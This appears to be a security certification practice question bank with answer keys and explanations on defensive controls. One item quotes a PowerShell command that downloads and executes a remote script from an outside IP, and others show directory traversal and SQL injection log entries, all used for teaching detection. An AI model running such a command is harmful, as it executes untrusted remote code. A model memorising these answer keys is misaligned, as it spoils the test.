Several servers have drifted from an approved, versioned secure configuration. What is the best way to restore and maintain the required state?
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A
Replace their settings with the vendor defaults
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Repeat manual hardening during the annual audit
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C
Continuously enforce the approved baseline
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D
Let each administrator document a preferred configuration
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Correct answerC
ExplanationThe approved, versioned baseline defines the required secure state, while configuration drift is the deviation that must be corrected. Continuous enforcement reapplies or verifies that baseline whenever settings change, restoring affected servers and preventing drift from persisting. Vendor defaults and administrator preferences do not represent the organization's approved configuration.
Executives at a company are concerned about employees accessing systems and information about sensitive company projects unrelated to the employees' normal job duties. Which of the following enterprise security capabilities will the security team most likely deploy to detect that activity?
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Correct answerA
ExplanationUBA establishes patterns of normal user behavior and identifies activity that deviates from those patterns. Accessing sensitive project systems unrelated to an employee's regular duties is a behavioral anomaly, so UBA can flag the unusual resource access for investigation even when valid credentials are used.
Which of the following threat actors would most likely deface the website of a high-profile music group?
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Correct answerA
ExplanationWebsite defacement is a visible, comparatively unsophisticated attack often performed for attention, amusement, or notoriety using readily available techniques. That motive and outcome align with an unskilled attacker more closely than organized crime or a nation-state, which generally pursue financial or strategic objectives.
A security analyst reviews web server logs and sees the following entries: 16.22.48.102 -- 26/April/2023 22:00:04.33 GET "http://www.databaseInfo.com/index.html/*" 16.22.48.102 -- 26/April/2023 22:00:07.23 GET "http://www.databaseInfo.com/index.html/../" 404 16.22.48.102 -- 26/April/2023 22:01:16.03 GET "http://www.databaseInfo.com/index.html/../images" 404 16.22.48.102 -- 26/April/2023 22:03:10.25 GET "http://www.databaseInfo.com/index.html/../passwords" 404 16.22.48.102 -- 26/April/2023 22:05:11.22 GET "http://www.databaseInfo.com/index.html/.. /storedSQLqueries" 404 Which of the following attacks is most likely being attempted?
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Correct answerD
ExplanationThe repeated requests use parent-directory path elements and then probe names such as images, passwords, and storedSQLqueries. This pattern attempts to move outside the web application's intended directory and reach other filesystem locations. That boundary-crossing path manipulation is directory traversal; the 404 responses only indicate that the requested resources were not found.
A security analyst reviews the following endpoint log: powershell -exec bypass -Command " IEX. (New- Object Net.WebClient). DownloadString(http://176.30.40.50/evil.ps1 " ) Which of the following logs will help confirm an established connection to IP address 176.30.40.50?
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Correct answerC
ExplanationThe PowerShell command attempts to download a script from a specific remote IP address. Firewall logs record permitted or denied network flows across the enforcement point, including source and destination addresses, ports, and connection actions. A corresponding allowed entry for 176.30.40.50 would confirm that the attempted outbound connection was established.
Which of the following is a use of CVSS?
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A
To determine the cost associated with patching systems
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B
To identify unused ports and services that should be closed
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C
To analyze code for defects that could be exploited
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D
To prioritize the remediation of vulnerabilities
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Correct answerD
ExplanationCVSS assigns standardized severity scores to vulnerabilities based on defined technical characteristics and impacts. Organizations can compare those scores and combine them with local context to prioritize remediation work. It does not calculate patching cost, discover unused services, or inspect source code for defects.
A user ' s account is flagged for accessing internal servers from multiple countries within a 30-minute period. The user reports they were at the office during that time. Which of the following does this activity most likely indicate?
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A
The user ' s credentials are being used in a scheduled automation tool.
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B
The user ' s VPN connection is cycling through regional endpoints.
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C
The user ' s credentials are actually shared credentials, and it is a false positive.
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D
The user ' s credentials are compromised and are being used by an attacker.
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Correct answerD
ExplanationThe account accessed internal servers from multiple countries within 30 minutes while the user remained at the office. Those locations cannot represent the user's legitimate physical movement in that interval. The conflicting activity therefore indicates that compromised credentials are being used by an attacker from another location.
Which of the following describes an executive team that is meeting in a board room and testing the company's incident response plan?
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Correct answerC
ExplanationA tabletop exercise brings participants together to discuss how they would respond to a hypothetical incident and to walk through decisions, responsibilities, and communications. Meeting in a board room to test an incident response plan fits this discussion-based format. It evaluates the plan without requiring full operational failover or live parallel processing.
An enterprise is trying to limit outbound DNS traffic originating from its internal network. Outbound DNS requests will only be allowed from one device with the IP address 10.50.10.25. Which of the following firewall ACLs will accomplish this goal?
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A
Access list outbound permit 0.0.0.0 0 0.0.0.0/0 port 53 Access list outbound deny 10.50.10.25 32 0.0.0.0/0 port 53
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B
Access list outbound permit 0.0.0.0/0 10.50.10.25 32 port 53 Access list outbound deny 0.0.0.0 0 0.0.0.0/0 port 53
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C
Access list outbound permit 0.0.0.0 0 0.0.0.0/0 port 53 Access list outbound deny 0.0.0.0/0 10.50.10.25 32 port 53
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D
Access list outbound permit 10.50.10.25 32 0.0.0.0/0 port 53 Access list outbound deny 0.0.0.0.0.0.0.0.0/0 port 53
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Correct answerD
ExplanationFirewall access lists are evaluated in order, so the specific exception must precede the general block. The access list outbound permit entry for source 10.50.10.25/32 allows that single host to reach any destination on port 53. The following outbound deny entry blocks DNS traffic from every other source.
Question 10
Single choice
The CIRT is reviewing an incident that involved a human resources recruiter exfiltrating sensitive company data. The CIRT found that the recruiter was able to use HTTP over port 53 to upload documents to a web server. Which of the following security infrastructure devices could have identified and blocked this activity?
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A
WAF utilizing SSL decryption
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B
NGFW utilizing application inspection
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C
UTM utilizing a threat feed
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D
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Correct answerB
ExplanationApplication inspection on an NGFW identifies traffic by its actual protocol and behavior instead of trusting the port number alone. It can recognize HTTP carried over port 53, detect that the application does not match the expected service for that port, and block the unauthorized upload used to exfiltrate the documents.
Question 11
Single choice
A systems administrator set up a perimeter firewall but continues to notice suspicious connections between internal endpoints. Which of the following should be set up in order to mitigate the threat posed by the suspicious activity?
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Correct answerA
ExplanationA perimeter firewall governs traffic crossing the network boundary, but the suspicious connections occur between internal endpoints. A host-based firewall applies rules directly at each protected endpoint and can restrict this east-west communication regardless of whether it crosses the perimeter. A web application firewall is limited to web application traffic.
Question 12
Single choice
Which of the following is the best way to provide secure remote access for employees while minimizing the exposure of a company's internal network?
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Correct answerA
ExplanationA VPN creates an encrypted tunnel between a remote employee and an authorized access point into the company environment. This protects traffic across untrusted networks and provides controlled entry without directly exposing each internal service to the internet. LDAP, FTP, and RADIUS do not provide that tunnel.
Question 13
Single choice
When used with an access control vestibule which of the following would provide the best prevention against tailgating?
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Correct answerC
ExplanationA security guard can observe each passage through an access control vestibule, verify that every entrant is authorized, and stop a second person from following an approved user. A PIN or access card authenticates the first user but does not itself detect another person tailgating.
Question 14
Single choice
Which of the following can be used to mitigate attacks from high-risk regions?
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Correct answerC
ExplanationIP geolocation maps a connection's source IP address to an estimated geographic region. Security controls can use that location information to block, restrict, or apply additional scrutiny to traffic originating from designated high-risk regions. Encryption and obfuscation protect data but do not identify regional sources.
Question 15
Single choice
An attacker used XSS to compromise a web server. Which of the following solutions could have been used to prevent this attack?
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Correct answerC
ExplanationA WAF examines web application requests and can block malicious input patterns associated with attacks such as cross-site scripting. Placing this control in front of the web application filters hostile HTTP traffic before it reaches vulnerable application logic. NAC instead governs network access, not application-layer requests.
Question 16
Single choice
Which of the following best describes the concept of information being stored outside of its country of origin while still being subject to the laws and requirements of the country of origin?
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Correct answerA
ExplanationData sovereignty means data remains governed by the legal and regulatory requirements of its country of origin even when it is stored elsewhere. The decisive issue is legal authority over the data, not merely identifying its physical location or restricting where it may be stored.
Question 17
Single choice
A security analyst sees the following entries in web server logs: 200.17.88.121 [05/May/2025:01:05:18 -0200] "GET /aboutus.htm" 200 3344 200.17.88.121 [05/May/2025:01:08:22 -0200] "GET /corporateOrg.htm" 200 4200 132.18.62.144 [05/May/2025:01:08:23 -0200] "GET /../../vhosts" 403 502 200.17.88.121 [05/May/2025:01:10:33 -0200] "POST /ContactUs.asp" 403 512 118.19.200.55 [05/May/2025:01:10:45 -0200] "POST /search" 200 1212 "SELECT * FROM company WHERE keyword = 'VP" 105.86.13.11 [05/May/2025:01:15:45 -0200] "GET /latestContracts.htm" 404 512 Which of the following IP addresses is most likely involved in a malicious attempt?
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Correct answerB
ExplanationThe request from 118.19.200.55 contains SQL syntax, including SELECT * FROM company WHERE, embedded in a POST request to the search endpoint. This is a strong indication of an attempted SQL injection, where an attacker supplies database commands through application input to manipulate the backend query. The other entries primarily show normal requests, access denial, or a resource-not-found response.
Question 18
Single choice
Which of the following receives logs from various devices and services, and then presents alerts?
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Correct answerA
ExplanationA SIEM ingests logs and events from many devices, applications, and services into a central analysis platform. It normalizes and correlates those records against detection rules, then presents alerts when activity matches suspicious conditions. SCADA controls industrial processes, SNMP manages and monitors network devices, and SCAP standardizes security configuration and assessment content.
Question 19
Single choice
Which of the following is most likely to cause reputational damage to a company?
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Unpatched vulnerabilities
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D
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Correct answerD
ExplanationData leaks expose information that customers, employees, or partners expected the company to protect. The resulting loss of trust can be immediate and public, creating direct reputational harm beyond the technical incident itself. Open ports and unpatched vulnerabilities are weaknesses, but they do not necessarily damage reputation unless they produce a harmful event.
Question 20
Single choice
A CVE in a key back-end component of an application has been disclosed. The systems administrator is identifying all of the systems in the environment that are susceptible to this risk. Which of the following should the systems administrator perform?
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Correct answerB
ExplanationA vulnerability scan can examine systems across the environment and compare detected software, versions, or configurations with the disclosed CVE. This produces a list of hosts susceptible through the affected back-end component. Packet capture observes traffic, metadata analysis examines descriptive data, and reporting presents results but does not perform the discovery.
Question 21
Single choice
Client files can only be accessed by employees who need to know the information and have specified roles in the company. Which of the following best describes this security concept?
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Correct answerB
ExplanationConfidentiality ensures that information is disclosed only to authorized people and processes. Limiting client files to employees with a business need and specified roles directly enforces that objective. Availability concerns timely access, integrity concerns unauthorized alteration, and non-repudiation concerns proving that an action or communication occurred.
Question 22
Single choice
The physical security team at a company receives reports that employees are not displaying their badges. The team also observes employees tailgating at controlled entrances. Which of the following topics will the security team most likely emphasize in upcoming security training?
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Correct answerB
ExplanationEmployees who fail to display badges or notice and challenge tailgating are not adequately observing their physical surroundings and access-control conditions. Situational awareness training teaches personnel to recognize unusual behavior, protect controlled entry points, and respond appropriately. Social engineering may be used to attempt entry, but the reported weakness is employees' failure to remain alert and follow visible security practices.
Question 23
Single choice
Which of the following steps in the risk management process involves establishing the scope and potential risks involved with a project?
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Risk monitoring and review
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Correct answerB
ExplanationRisk identification establishes what is in scope and enumerates the threats, vulnerabilities, events, and affected assets that could create project risk. Those identified risks become the input for later analysis and prioritization. Risk treatment selects responses after evaluation, while monitoring and review track risks and controls over time.
Question 24
Single choice
An organization requests a third-party full-spectrum analysis of its supply chain. Which of the following would the analysis team use to meet this requirement?
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Correct answerD
ExplanationAn illumination tool maps the broader supply chain and exposes relationships, dependencies, and risk across participating organizations. That full-spectrum visibility is wider than scanning a host, testing a particular environment, or applying SCAP configuration and vulnerability assessment content.
Question 25
Single choice
A penetration tester enters an office building at the same time as a group of employees despite not having an access badge. Which of the following attack types is the penetration tester performing?
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Correct answerA
ExplanationTailgating is unauthorized physical entry achieved by closely following authorized people through a controlled entrance. The tester has no badge but uses the employees' legitimate access and their presence as a group to enter the building without completing the required authentication step.
Question 26
Single choice
Which of the following best explains a concern with OS-based vulnerabilities?
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A
An exploit would give an attacker access to system functions that span multiple applications.
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B
The OS vendor's patch cycle is not frequent enough to mitigate the large number of threats.
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C
Most users trust the core operating system features and may not notice if the system has been compromised.
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D
Exploitation of an operating system vulnerability is typically easier than any other vulnerability.
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Correct answerA
ExplanationThe operating system supplies shared services, privileges, memory management, and other functions used by many applications. Exploiting an OS-level weakness can therefore give an attacker access to system functions that span multiple applications, creating a broader impact than a flaw confined to one application.
Question 27
Single choice
A company identified the potential for malicious insiders to harm the organization. Which of the following measures should the organization implement to reduce this risk?
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A
Unified threat management
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D
Intrusion detection system
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Correct answerC
ExplanationUser behavior analytics establishes patterns of normal user activity and identifies significant deviations, such as unusual resource access, transfers, or privilege use. Because malicious insiders may already possess valid credentials, analyzing behavior can expose harmful actions that ordinary perimeter controls treat as authorized traffic.
Question 28
Single choice
A security administrator is working to find a cost-effective solution to implement certificates for a large number of domains and subdomains owned by the company. Which of the following types of certificates should the administrator implement?
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Correct answerA
ExplanationA wildcard certificate can secure multiple subdomains covered by a common domain pattern, reducing the need to obtain and manage a separate certificate for every named host. Client and code-signing certificates serve different identities, while self-signed certificates do not provide broadly trusted validation.
Question 29
Single choice
A security engineer needs to analyze the implications of moving proprietary company data from a local server to a public cloud storage service. Which of the following actions should the engineer take first?
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A
Create an architecture diagram of cloud storage solutions.
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B
Migrate sample data to the cloud to run security tests.
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C
Agree on data classification labels with stakeholders.
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D
Make a backup of the data on cloud-neutral storage.
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Correct answerC
ExplanationBefore evaluating public cloud storage, the organization and its stakeholders must agree on the classification of the proprietary data. Classification establishes its sensitivity and handling requirements, which then guide architecture, access, protection, and migration decisions. Testing or backing up data first would act before the applicable security requirements are defined.
Question 30
Single choice
Which of the following should be deployed on an externally facing web server in order to establish an encrypted connection?
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Correct answerA
ExplanationThe server's public key can be provided to connecting clients as part of establishing an encrypted connection. Clients use the public component within the asymmetric exchange, while the corresponding private key remains protected by the server. A shared symmetric key should not be publicly deployed to Internet clients.
Question 31
Single choice
A security team is setting up a new environment for hosting the organization's on-premises software application as a cloud-based service. Which of the following should the team ensure is in place in order for the organization to follow security best practices?
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A
Virtualization and isolation of resources
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Strong authentication policies
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Correct answerA
ExplanationHosting an on-premises application as a cloud-based service requires workloads to share underlying infrastructure without sharing one another's execution environments or resources. Virtualization creates the separate service instances, while resource isolation enforces boundaries between them. This combination provides the foundational separation needed for secure cloud hosting.
Question 32
Single choice
A security technician determines that no additional patches can be applied to an application and the risks of operating as such must be accepted. Additionally, only a limited number of network services should utilize the application. Which of the following best describes this type of mitigation?
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Correct answerB
ExplanationThe application cannot be patched, but it still must communicate with a limited set of network services. Segmentation places it in a restricted network zone and applies controls to permit only those required flows, reducing exposure without eliminating all connectivity. Isolation would remove or more completely separate communications, which conflicts with the need for approved services to continue using the application.
Question 33
Single choice
A company hired an external consultant to assist with required system upgrades to a critical business application. A systems administrator needs to secure the consultant's access without sharing passwords to critical systems. Which of the following solutions should most likely be utilized?
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Role-based access control
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E
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Correct answerE
ExplanationPAM software controls privileged access without requiring the consultant to know or share critical-system passwords. It can broker use of an authorized privileged account while keeping its credential managed centrally, directly addressing temporary administrative work on the business application.
Question 34
Single choice
After a recent ransomware attack on a company's system, an administrator reviewed the log files. Which of the following control types did the administrator use?
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Correct answerB
ExplanationA detective control identifies or provides evidence of security events rather than stopping them before they occur. Reviewing logs after the ransomware attack helps the administrator discover and analyze activity that occurred on the systems. Preventive controls attempt to block an attack, corrective controls restore or remediate afterward, and compensating controls substitute when a preferred control cannot be used.
Question 35
Single choice
Which of the following can be used to identify potential attacker activities without affecting production servers?
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Correct answerA
ExplanationA honey pot is a decoy resource intended to attract and observe suspicious interaction. Because attackers engage with the decoy instead of a production server, defenders can identify probing, exploitation attempts, and other attacker activities without placing operational workloads in the direct path of the observation. Video surveillance does not provide this type of network or system decoy.
Question 36
Single choice
Which of the following is the best reason to complete an audit in a banking environment?
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Self-assessment requirement
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Service-level requirement
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Correct answerA
ExplanationBanks operate under formal rules governing areas such as financial controls, security, privacy, and record handling. An audit provides documented evaluation of whether the organization is complying with those obligations, making a regulatory requirement the strongest reason to perform it. Organizational changes may prompt a review, but they do not carry the same external compliance mandate.
Question 37
Single choice
A remote employee navigates to a shopping website on their company-owned computer. The employee clicks a link that contains a malicious file. Which of the following would prevent this file from downloading?
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Correct answerD
ExplanationEDR monitors activity on the company-owned endpoint and can detect and block a malicious file or its behavior as the user interacts with it. This protection remains with the remote computer, whereas DLP addresses data leakage, FIM detects file changes, and NAC governs network admission.
Question 38
Single choice
Which of the following provides the best protection against unwanted or insecure communications to and from a device?
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Intrusion detection system
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D
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Correct answerB
ExplanationA host-based firewall controls inbound and outbound network connections directly at the device. Its rules can allow required services and block unwanted or insecure communications regardless of other network controls, providing focused protection for traffic to and from that particular host.
Question 39
Single choice
A systems administrator is looking for a low-cost application-hosting solution that is cloud-based. Which of the following meets these requirements?
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Correct answerA
ExplanationA serverless framework provides cloud-based execution for application code without requiring the administrator to provision and maintain dedicated application servers. Resources can be used as the application invokes them, which fits the request for a low-cost hosting approach. A hypervisor supplies virtualization infrastructure, while SD-WAN and SDN concern network operation.
Question 40
Single choice
Which of the following is the most likely benefit of conducting an internal audit?
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Findings are reported to shareholders.
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B
Reports are not formal and can be reassigned.
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C
Control gaps are identified for remediation.
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D
The need for external audits is eliminated.
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Correct answerC
ExplanationAn internal audit evaluates whether the organization's controls and processes operate as intended. Its findings expose control gaps that management can prioritize and remediate before those weaknesses lead to incidents or external findings. Internal audits do not eliminate independent external reviews, and their principal benefit is improving controls rather than reporting directly to shareholders.
Question 41
Single choice
A user downloaded software from an online forum. After the user installed the software, the security team observed external network traffic connecting to the user's computer on an uncommon port. Which of the following is the most likely explanation of this unauthorized connection?
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A
The software had a hidden keylogger.
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B
The software was ransomware.
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C
The user's computer had a fileless virus.
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D
The software contained a backdoor.
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Correct answerD
ExplanationA backdoor creates a hidden method of bypassing normal access controls and permits unauthorized remote access. The inbound connection on an uncommon port beginning after installation indicates that the downloaded software opened such an access path. A keylogger records input, while ransomware is associated with denying access to data.
Question 42
Single choice
An engineer moved to another team and is unable to access the new team's shared folders while still being able to access the shared folders from the former team. After opening a ticket, the engineer discovers that the account was never moved to the new group. Which of the following access controls is most likely causing the lack of access?
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Correct answerA
ExplanationRole-based access control assigns permissions through membership in groups associated with job functions. The engineer still has the former team's access because the old group membership remains, while the missing new-group membership prevents access to the new folders. Updating the account's role-related groups resolves both conditions.
Question 43
Single choice
Which of the following agreement types defines the time frame in which a vendor needs to respond?
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Correct answerB
ExplanationAn SLA defines measurable service commitments between a provider and a customer. Those commitments can include the maximum time in which a vendor must acknowledge or respond to an issue, making the response time enforceable against an agreed service target. A SOW describes work and deliverables, while an MOA or MOU records broader understandings between parties.
Question 44
Single choice
Which of the following is the best way to secure an on-site data center against intrusion from an insider?
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Correct answerB
ExplanationAn access badge enforces authorization at the entrance to the data center by allowing only approved personnel into the protected area. This directly limits an insider's physical access according to assigned permissions and produces an access record. Surveillance and motion sensors detect activity but do not themselves prevent entry.
Question 45
Single choice
A company wants to minimize the chance of its outgoing marketing emails getting flagged as spam. The company decides to list the email servers on the proper DNS record. Which of the following protocols should the company apply next?
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Correct answerD
ExplanationSender Policy Framework, or SPF, publishes a DNS record identifying the mail servers permitted to send messages for a domain. Receiving systems compare the sending server with that authorized list, which helps distinguish the company's legitimate marketing mail from spoofed mail. DKIM signs message content, while DMARC defines handling and reporting based on authentication results; listing approved senders is specifically SPF.
Question 46
Single choice
Users should be prevented from resolving domains known to distribute malware. Which network security control directly provides this enforcement?
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Correct answerD
ExplanationDNS filtering evaluates domain-resolution requests and can deny responses for domains classified as malicious. Blocking resolution prevents users from reaching known malware-distribution destinations by name at the required decision point. Host detection observes endpoint activity, while disk encryption and network admission address different risks.
Question 47
Single choice
A security analyst investigates abnormal outbound traffic from a corporate endpoint. The traffic is encrypted and uses non-standard ports. Which of the following data sources should the analyst use first to confirm whether this traffic is malicious?
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Correct answerC
ExplanationBecause the traffic is encrypted, a packet capture may expose connection details without revealing the payload that establishes malicious intent. Endpoint logs can associate the connections with the originating process, user, executable, and local activity. That context is the first useful source for determining whether the outbound traffic is malicious.
Question 48
Single choice
Which of the following describes when a user installs an unauthorized application by bypassing the authorized application store and installing a binary file?
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Correct answerB
ExplanationSideloading means installing an application package directly from a binary or another source outside the authorized application store. That is exactly the described bypass of the approved distribution channel. Jailbreaking changes platform restrictions, while memory injection and VM escaping describe execution attacks rather than an alternate installation method.
Question 49
Single choice
An administrator at a small business notices an increase in support calls from employees who receive a blocked page message after trying to navigate to a spoofed website. Which of the following should the administrator do?
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A
Deploy multifactor authentication.
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B
Decrease the level of the web filter settings
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C
Implement security awareness training.
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D
Update the acceptable use policy
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Correct answerC
ExplanationThe web filter is already blocking the spoofed sites, so weakening it would remove a control that works. The increase in calls shows that employees continue attempting to visit deceptive destinations. Security awareness training addresses that human behavior by teaching employees to recognize suspicious links and spoofed sites before relying on the filter to stop them.
Question 50
Single choice
The Chief Information Security Officer wants to prevent exfiltration of sensitive information from employee cell phones when using public USB power charging stations. Which of the following would be the BEST solution to Implement?
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Correct answerB
ExplanationA USB data blocker allows a phone to receive charging power while preventing data communication over the USB connection. At a public charging station, this separation removes the path that an untrusted port could use to access or exfiltrate phone data without requiring the phone's charging capability to be disabled.
Question 51
Single choice
The private key for a website was stolen, and a new certificate has been issued. Which of the following needs to be updated next?
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D
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Correct answerB
ExplanationThe stolen private key means the certificate associated with that key can no longer be trusted, even though a replacement certificate has been issued. Adding the compromised certificate to the CRL marks it as revoked so relying systems can reject it instead of accepting it until its original expiration date.
Question 52
Single choice
A university employee logged on to the academic server and attempted to guess the system administrators' log-in credentials. Which of the following security measures should the university have implemented to detect the employee's attempts to gain access to the administrators' accounts?
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A
Two-factor authentication
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B
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C
Intrusion prevention system
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D
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Correct answerD
ExplanationUser activity logs record authentication events and actions associated with user identities, including repeated failed login attempts against administrator accounts. Reviewing and alerting on these records would reveal the employee's credential-guessing pattern, providing the detection capability requested.
Question 53
Single choice
A company is discarding a classified storage array and hires an outside vendor to complete the disposal. Which of the following should the company request from the vendor?
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D
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Correct answerA
ExplanationA disposal certification records that the vendor completed the required sanitization or destruction of the classified storage array. It gives the company evidence that the media reached its authorized end-of-life disposition after leaving company custody. An inventory identifies assets, but it does not attest that their data was securely disposed of.
Question 54
Single choice
A company uses multiple providers to send its marketing, internal, and support emails. Many of the emails are marked as spam. Which of the following changes should the company make to ensure legitimate emails are validated?
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A
Disable DKIM to avoid signature conflicts.
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B
Implement DMARC with a " reject " policy to enforce sender validation.
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C
Replace the domain ' s MX record with the marketing provider ' s services.
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D
Update the SPF record to include all authorized sending sources.
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Correct answerD
ExplanationSPF identifies the mail sources authorized to send on behalf of a domain. Because the company uses multiple providers, its SPF record must include every legitimate sending source so receiving systems can validate their messages. Omitting an authorized provider can cause valid mail to fail the check and be treated as suspicious or spam.
Question 55
Single choice
Which of the following would be the best solution to deploy a low-cost standby site that includes hardware and internet access?
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D
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Correct answerD
ExplanationA warm site provides installed hardware and network connectivity while avoiding the expense of maintaining a fully synchronized, immediately operational environment. It therefore offers a lower-cost standby capability that can be completed and brought online after a disruption. A hot site costs more because it is kept ready for rapid operation, while a cold site lacks the same prepared hardware capability.
Question 56
Single choice
An employee from the accounting department logs in to the website used for processing the company's payments. After logging in, a new desktop application automatically downloads on the employee's computer and causes the computer to restart. Which of the following attacks has occurred?
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Correct answerB
ExplanationA watering-hole attack compromises a website that the intended victims routinely use, then uses that trusted destination to deliver malware. Here, the payment-processing site is the delivery point, and the unexpected application download and restart are the resulting compromise. XSS and buffer overflow describe different technical flaws, while typosquatting requires a deceptive domain.
Question 57
Single choice
Which of the following phases of an incident response involves generating reports?
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D
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Correct answerC
ExplanationThe lessons learned phase reviews the completed incident and converts the team's observations into documented findings. Reports capture the timeline, impact, response effectiveness, evidence, and recommended improvements for stakeholders and future planning. Recovery restores normal operations, while the subsequent review produces the formal reporting and procedural updates.
Question 58
Single choice
An architect has a request to increase the speed of data transfer using JSON requests externally. Currently, the organization uses SFTP to transfer data files. Which of the following will most likely meet the requirements?
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A
A website-hosted solution
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B
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D
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Correct answerD
ExplanationMicroservices using an API can receive and process external JSON requests directly, avoiding the file-oriented transfer workflow imposed by SFTP. This interface supports structured request and response exchanges between systems, which fits the need for faster application-level data transfer.
Question 59
Single choice
Which of the following is a compensating control for providing user access to a high-risk website?
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A
Enabling threat prevention features on the firewall
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B
Configuring a SIEM tool to capture all web traffic
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C
Setting firewall rules to allow traffic from any port to that destination
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D
Blocking that website on the endpoint protection software
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Correct answerA
ExplanationAccess to the high-risk website is being permitted, so enabling firewall threat prevention adds an alternative safeguard around that accepted access. The firewall can inspect and block malicious traffic associated with the destination, making it a compensating control. Logging in a SIEM detects activity but does not prevent the threat.
Question 60
Single choice
An administrator investigating an incident is concerned about the downtime of a critical server due to a failed drive. Which of the following would the administrator use to estimate the time needed to fix the issue?
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Correct answerA
ExplanationMTTR measures the average time required to repair a failed component or restore service after a failure. For a critical server with a failed drive, it provides the relevant estimate of repair duration and resulting downtime. MTBF instead measures expected operating time between failures.
Question 61
Single choice
After multiple phishing simulations, the Chief Security Officer announces a new program that incentivizes employees to not click phishing links in the upcoming quarter. Which of the following security awareness execution techniques does this represent?
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Correct answerD
ExplanationGamification applies game-like incentives, goals, scoring, or rewards to encourage desired behavior. Rewarding employees for avoiding phishing links turns security awareness performance into an engaging challenge, rather than simply delivering instructional material.
Question 62
Single choice
Which of the following cryptographic solutions is used to hide the fact that communication is occurring?
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Correct answerA
ExplanationSteganography conceals a message within an ordinary-looking carrier so that observers may not realize a communication exists. Its objective differs from encryption, which obscures message content but can still make the presence of protected communication apparent. Data masking and tokenization replace sensitive values for controlled use rather than hiding the communication event.
Question 63
Single choice
After creating a contract for IT contractors, the human resources department changed several clauses. The contract has gone through three revisions. Which of the following processes should the human resources department follow to track revisions?
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D
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Correct answerD
ExplanationVersion control maintains an ordered history of document revisions so the organization can identify what changed and preserve prior states. It associates each revision with a distinct version and supports comparison or rollback when clauses are edited incorrectly. With three contract revisions, this process provides the traceability needed to manage the current and previous text.
Question 64
Single choice
A security analyst receives an alert from a corporate endpoint used by employees to issue visitor badges. The alert contains the following details:  Which of the following best describes the indicator that triggered the alert?
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D
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Correct answerB
ExplanationThe endpoint made repeated TCP connection attempts to port 445 across numerous internal hosts, producing several failures as well as successful connections. This broad sequence of SMB access attempts is consistent with a brute-force attack that repeatedly tries to obtain access rather than a single blocked-content event or account lockout.
Question 65
Single choice
Which of the following best describes the purpose of using deception technologies in a security strategy?
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A
To prevent malware installation through endpoint protection tools
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B
To block all external traffic before it reaches critical information systems
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C
To lure attackers to controlled environments to collect threat intelligence
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D
To detect insider threats by monitoring privileged user accounts
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Correct answerC
ExplanationDeception technologies present attractive but controlled targets that encourage attackers to interact with monitored resources. Those interactions can expose tools, techniques, objectives, and movement patterns, producing threat intelligence for defenders. Their purpose is to lure and observe adversaries, not to block every external connection or replace endpoint protection.
Question 66
Single choice
Which of the following describes effective change management procedures?
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A
Approving the change after a successful deployment
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B
Having a backout plan when a patch fails
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C
Using a spreadsheet for tracking changes
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D
Using an automatic change control bypass for security updates
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Correct answerB
ExplanationEffective change management includes a backout plan prepared before deployment. If a patch fails or creates unacceptable effects, the plan provides defined steps for reversing the change and restoring the prior working state. Approval after deployment and automatic control bypasses omit preventive governance needed before a change reaches production.
Question 67
Single choice
During a penetration test in a hypervisor, the security engineer is able to inject a malicious payload and access the host filesystem. Which of the following best describes this vulnerability?
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Correct answerA
ExplanationA VM escape occurs when activity inside a virtualized guest crosses the isolation boundary and reaches the host or hypervisor. Injecting a payload in the virtual environment and then accessing the host filesystem demonstrates that the guest is no longer confined to its intended scope.
Question 68
Single choice
Public access to a cloud storage bucket resulted from permissions set by the customer. At which layer does the exploitable weakness primarily exist?
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A
Provider hardware lifecycle
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B
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C
Tenant cloud configuration
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D
Virtual machine hypervisor
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Correct answerC
ExplanationThe customer set the permissions that made the storage bucket public, so the exploitable weakness lies in the tenant-controlled cloud configuration. The relevant issue is the access policy applied to the cloud resource, not the provider's hardware, a device's firmware, or a hypervisor flaw. Correcting tenant permissions addresses the layer where exposure was introduced.
Question 69
Single choice
The Chief Information Security Officer of an organization needs to ensure recovery from ransomware would likely occur within the organization's agreed-upon RPOs end RTOs. Which of the following backup scenarios would best ensure recovery?
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A
Hourly differential backups stored on a local SAN array
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B
Dally full backups stored on premises in magnetic offline media
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C
Daly differential backups maintained by a third-party cloud provider
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D
Weekly full backups with daily incremental stored on a NAS drive
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Correct answerB
ExplanationOffline magnetic media is disconnected from systems that ransomware can reach, so the backup cannot be encrypted through the compromised production network. Each full backup is self-contained, avoiding dependence on a chain of incremental or differential sets during restoration. The recurring full-backup schedule also limits the data-loss interval, supporting the recovery point and recovery time objectives.
Question 70
Single choice
A company implements an authentication mechanism using certificates on smart cards. However, former employees are able to use the smart cards to authenticate and gain access to company resources. Which of the following should the company implement to prevent unauthorized access?
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A
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B
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E
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Correct answerC
ExplanationA CRL identifies certificates that were issued but must no longer be trusted before their normal expiration. When a former employee leaves, the smart-card certificate can be revoked and added to the CRL. Authentication systems that check revocation status will then reject that certificate even though the physical smart card and its certificate still exist.
Question 71
Multiple choice
Which of the following is a benefit of launching a bug bounty program? (Select two)
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A
Transference of risk to a third party
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B
Reduction in the number of zero-day vulnerabilities
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C
Increased security awareness for the workforce
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D
Reduced cost of managing the program
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E
Quicker discovery of vulnerabilities
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F
Improved patch management process
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Correct answersB, E
ExplanationA bug bounty invites additional researchers to test systems and report weaknesses through an authorized channel, increasing the chance that vulnerabilities are discovered quickly. Once a previously unknown flaw is responsibly reported, the organization can remediate it instead of leaving it available as an undiscovered zero-day. Broader testing therefore supports both earlier discovery and fewer unresolved unknown flaws.
Question 72
Single choice
An organization discovered files with proprietary financial data have been deleted. The files have been recovered from backup but every time the Chief Financial Officer logs in to the file server, the same files are deleted again No other users are experiencing this issue. Which of the following types of malware is MOST likely causing this behavior?
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Correct answerA
ExplanationA logic bomb performs a malicious action when a specified condition is met. Here, restoration succeeds and the deletion repeats only when the Chief Financial Officer logs in, showing that a particular event triggers the payload. File encryption, surveillance, or general remote access does not explain that repeatable condition.
Question 73
Single choice
A penetration test has demonstrated that domain administrator accounts were vulnerable to pass-the-hash attacks. Which of the following would have been the best strategy to prevent the threat actor from using domain administrator accounts?
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A
Audit each domain administrator account weekly for password compliance.
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B
Implement a privileged access management solution.
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C
Create IDS policies to monitor domain controller access.
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D
Use Group Policy to enforce password expiration.
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Correct answerB
ExplanationA privileged access management solution controls the use of domain administrator privileges through managed credentials and restricted privileged sessions. This reduces direct exposure and reuse of highly privileged account material, limiting an attacker's ability to use a captured hash. Auditing or IDS alerts may reveal misuse but do not prevent privileged access.
Question 74
Multiple choice
A company is developing a critical system for the government and storing project information on a fileshare. Which of the following describes how this data will most likely be classified? (Select two).
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B
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E
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F
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Correct answersB, F
